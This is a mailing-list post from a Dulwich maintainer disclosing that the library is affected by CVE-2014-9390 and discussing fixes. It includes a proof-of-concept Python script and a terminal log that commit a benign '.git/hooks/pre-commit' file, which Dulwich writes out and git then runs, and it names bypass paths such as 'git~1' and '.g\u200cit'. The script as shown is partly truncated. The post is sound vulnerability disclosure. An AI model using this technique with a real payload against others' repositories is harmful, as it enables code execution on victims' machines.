← Back to team overview

dulwich-users team mailing list archive

Re: Git vulnerability CVE-2014-9390


On Thu, Dec 18, 2014 at 11:45 PM, Andi McClure <andi.m.mcclure@xxxxxxxxx> wrote:
> News is going around today about a potential-remote-code-execution vulnerability in the standard git clients:
> https://github.com/blog/1938-git-client-vulnerability-announced
> Is Dulwich potentially affected?

Yes. And not only on case insensitive file systems, like with git, but
always :-(

I've attached a file to demonstrate it. It creates a repo with a
commit of a .git/hooks/pre-commit file. Git prevents writing this file
to the working tree, but dulwich happily writes it out.

/tmp % ./cve-2014-9390-create.py
/tmp % cd cve-2014-9390-repo.git
/tmp/cve-2014-9390-repo.git (git)-[master] % git reset --hard
error: Invalid path '.git/hooks/pre-commit'
HEAD is now at 1c27312 Evil commit
/tmp/cve-2014-9390-repo.git (git)-[master] % dulwich reset --hard
/tmp/cve-2014-9390-repo.git (git)-[master] % git commit -m "test" --allow-empty
You just got cracked! (not really but you could have been!)
[master 29a7100] test

For my own use cases of dulwich, I'm not affected by this as I only
ever read and write directly to repos with dulwich with out checking
out trees to a working tree.  Do other users actually use the dulwich
index module, or porcilian commands.

How do we fix this? I assume we start by filtering what we write in
dulwich.index.build_index_from_tree? Filtering the case sensitive and
case insensitive cases is easy, but some of the other edge cases
("git~1" on windows, ".g\u200cit" on HFS+) are a little more tricky.
Do we care about preventing a user from adding these paths to the

#!/usr/bin/env python2

import os
import time

from dulwich.repo import Repo
from dulwich.objects import Blob, Tree, Commit,  parse_timezone

repo_dir = 'cve-2014-9390-repo.git'
repo = Repo.init(repo_dir)

evil_file = Blob.from_string("""#!/usr/bin/env python

print('You just got cracked! (not really but you could have been!)')

hooks_tree = Tree()
hooks_tree.add('pre-commit', 0o100755, evil_file.id)

git_tree = Tree()
git_tree.add('hooks', 0o40000, hooks_tree.id)

root_tree = Tree()
root_tree.add('.git', 0o40000, git_tree.id)

commit = Commit()
commit.tree = root_tree.id
author = "Dr. Evil <drevil@xxxxxxxxxxx>"
commit.author = commit.committer = author
commit.commit_time = commit.author_time = int(time.time())
tz = parse_timezone('-0200')[0]
commit.commit_timezone = commit.author_timezone = tz
commit.encoding = "UTF-8"
commit.message = "Evil commit"

    (evil_file, None),
    (hooks_tree, None),
    (git_tree, None),
    (root_tree, None),
    (commit, None),

repo.refs['refs/heads/master'] = commit.id

Follow ups